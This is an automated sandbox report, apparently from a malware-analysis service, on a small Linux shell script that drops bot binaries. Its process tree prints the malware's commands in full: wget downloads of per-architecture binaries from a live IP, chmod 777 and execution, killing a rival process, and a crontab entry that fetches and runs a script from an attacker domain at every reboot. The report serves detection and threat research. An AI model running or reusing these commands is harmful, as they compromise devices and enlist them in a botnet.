6f6de7f166f98d6391f52362327abeae69469b3dd8e09db11c11615a2c5cb31f

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01-01-2025 16:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

l.sh
Size

240B
MD5

e2102b077fa0da3be5a5b07b22a34d20
SHA1

629a840f9cbd82d8126f2e6b26f4668af8757f10
SHA256

6f6de7f166f98d6391f52362327abeae69469b3dd8e09db11c11615a2c5cb31f
SHA512

3db852f800118e0a6343e3d121db6eeb851ae72856ec4e7b07edb665e151811b2b6435706795370550cdeaf8b9816b64d42e6c317a1b6c781660905876873fdf

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod
743	chmod
747	chmod
751	chmod
753	sh
764	chmod
767	chmod
730	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/upnp	732	upnp
/tmp/upnp	740	upnp
/tmp/upnp	744	upnp
/tmp/upnp	748	upnp
/tmp/upnp	752	upnp
/tmp/upnp	762	upnp
/tmp/upnp	765	upnp
/tmp/upnp	768	upnp

Renames itself 1 IoCs

pid	Process
752	upnp

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	139.84.165.176
Destination IP	139.84.165.176
Destination IP	81.169.136.222

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.TCJSbx	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/busybox ntpd	752	upnp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/782/status	upnp
File opened for reading	/proc/2/cmdline	upnp
File opened for reading	/proc/372/stat	killall
File opened for reading	/proc/700/stat	killall
File opened for reading	/proc/766/status	upnp
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/696/stat	killall
File opened for reading	/proc/785/cmdline	upnp
File opened for reading	/proc/793/cmdline	upnp
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/225/stat	killall
File opened for reading	/proc/789/status	upnp
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/698/stat	killall
File opened for reading	/proc/141/stat	killall
File opened for reading	/proc/351/stat	killall
File opened for reading	/proc/481/stat	killall
File opened for reading	/proc/773/status	upnp
File opened for reading	/proc/781/status	upnp
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/78/stat	killall
File opened for reading	/proc/382/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/113/stat	killall
File opened for reading	/proc/778/status	upnp
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/779/status	upnp
File opened for reading	/proc/702/stat	killall
File opened for reading	/proc/768/status	upnp
File opened for reading	/proc/780/status	upnp
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/324/stat	killall
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/80/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/762/status	upnp
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/538/stat	killall
File opened for reading	/proc/785/status	upnp
File opened for reading	/proc/792/status	upnp
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/114/stat	killall
File opened for reading	/proc/765/status	upnp
File opened for reading	/proc/316/stat	killall
File opened for reading	/proc/784/status	upnp
File opened for reading	/proc/mounts	upnp
File opened for reading	/proc/774/status	upnp
File opened for reading	/proc/777/status	upnp
File opened for reading	/proc/793/status	upnp
File opened for reading	/proc/164/stat	killall
File opened for reading	/proc/374/stat	killall

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
752	upnp
750	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/upnp	l.sh

/tmp/l.sh
/tmp/l.sh
1⤵
- Writes file to tmp directory
PID:703
- /usr/bin/killall
  killall -9 dvrLocker
  2⤵
  - Reads runtime system information
  PID:706
- /bin/rm
  rm -rf upnp
  2⤵
  PID:712
- /usr/bin/wget
  wget http://103.188.82.218/t/arm -O -
  2⤵
  PID:714
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/upnp
  ./upnp tplink.arm
  2⤵
  - Executes dropped EXE
  PID:732
- /usr/bin/wget
  wget http://103.188.82.218/t/arm5 -O -
  2⤵
  PID:735
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/upnp
  ./upnp tplink.arm5
  2⤵
  - Executes dropped EXE
  PID:740
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:742
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:744
- /usr/bin/wget
  wget http://103.188.82.218/t/arm7 -O -
  2⤵
  PID:746
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/upnp
  ./upnp tplink.arm7
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/wget
  wget http://103.188.82.218/t/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/upnp
  ./upnp tplink.mips
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:752
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:753
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:755
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:756
- /usr/bin/wget
  wget http://103.188.82.218/t/mpsl -O -
  2⤵
  PID:760
- /tmp/upnp
  ./upnp tplink.mpsl
  2⤵
  - Executes dropped EXE
  PID:762
- /usr/bin/wget
  wget http://103.188.82.218/t/ppc -O -
  2⤵
  PID:763
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/upnp
  ./upnp tplink.ppc
  2⤵
  - Executes dropped EXE
  PID:765
- /usr/bin/wget
  wget http://103.188.82.218/t/x86 -O -
  2⤵
  PID:766
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/upnp
  ./upnp tplink.x86
  2⤵
  - Executes dropped EXE
  PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/upnp

Filesize
77KB

MD5
d09db60a70d5b53b5b53ad39476fd7e8

SHA1
73a75e5e8200f77d857a7256cc0979077e29241d

SHA256
36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

SHA512
ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

Download Submit
/tmp/upnp

Filesize
73KB

MD5
f812a7b3a877f717eb6e54b843b41848

SHA1
21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

SHA256
9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

SHA512
c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

Download Submit
/tmp/upnp

Filesize
85KB

MD5
d8b9115310ca0429f6ec2473696156a2

SHA1
5497d765ad0b6ad6ed2204338faecd9671f6a60c

SHA256
7f089801a37f1d9a83a5103c8f9b1c6fc00f9ce699cb812cc23704aea8d46c8c

SHA512
a3adc2f2a36bdf40bda9e592f03bf51c3a3e7954fbeb8e52d1517537c72efc7df2d22e8be0d1ac85b768aacb45bd77cabb0ced0885ac96c17252b8af63cdb664

Download Submit
/tmp/upnp

Filesize
102KB

MD5
45c898246a8ffe0b7cc20fe25669da04

SHA1
5ae935186b80f6beb84926d57337d5c0b9e3e1fc

SHA256
1b0846e58fbb6a0e72d25edb81ec94961c0c7048a4e6f26876660f5a26675c77

SHA512
ca75fb8ae0aa7977132c2888ff226f712f4e66f542ab121bcffdc3b3a912b906870b55d6415dfc60c133574739a71c1e5177418dd275d208f43d6ffc09c14636

Download Submit
/tmp/upnp

Filesize
99KB

MD5
559f129d380ad1cfb60792c6b2dc3d32

SHA1
3997a0fc0bd5958783f1751364ec407c5b170adc

SHA256
fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

SHA512
9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

Download Submit
/tmp/upnp

Filesize
100KB

MD5
4ad582d49f505bfab7de84881998685b

SHA1
5f09f4baed114b594729ded91e2c4d263f0e2754

SHA256
b1e8713db49c15b272baa11e5569ecb4f22fd6064f5aa59ed236d0af58f159a1

SHA512
6f35bfb8aca5fd02f6e690fe0628595531dba7463265b1a66ff801c7744690f3317f611ab07e45fdfc28a17a32a891de92b1d026de30bf327aa304395b0905f4

Download Submit
/var/spool/cron/crontabs/tmp.TCJSbx

Filesize
306B

MD5
6ac4047dfdb3d544370967023370618e

SHA1
ecbd7101443d3fe9416c9ca91b32aa9baf19a190

SHA256
551be5d3c6cc577a3f4adc55e40f184be1138be3fc3f07e7abb259b7b7f6f92f

SHA512
f2459b4196235b77d0151e58e2382592508fe3650715a1a5e66d6bf45b228d2db93a126c1e2b762cfa0e7a9ee09b18855a4777f409ca3a32a7e8b1d214e795c8

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads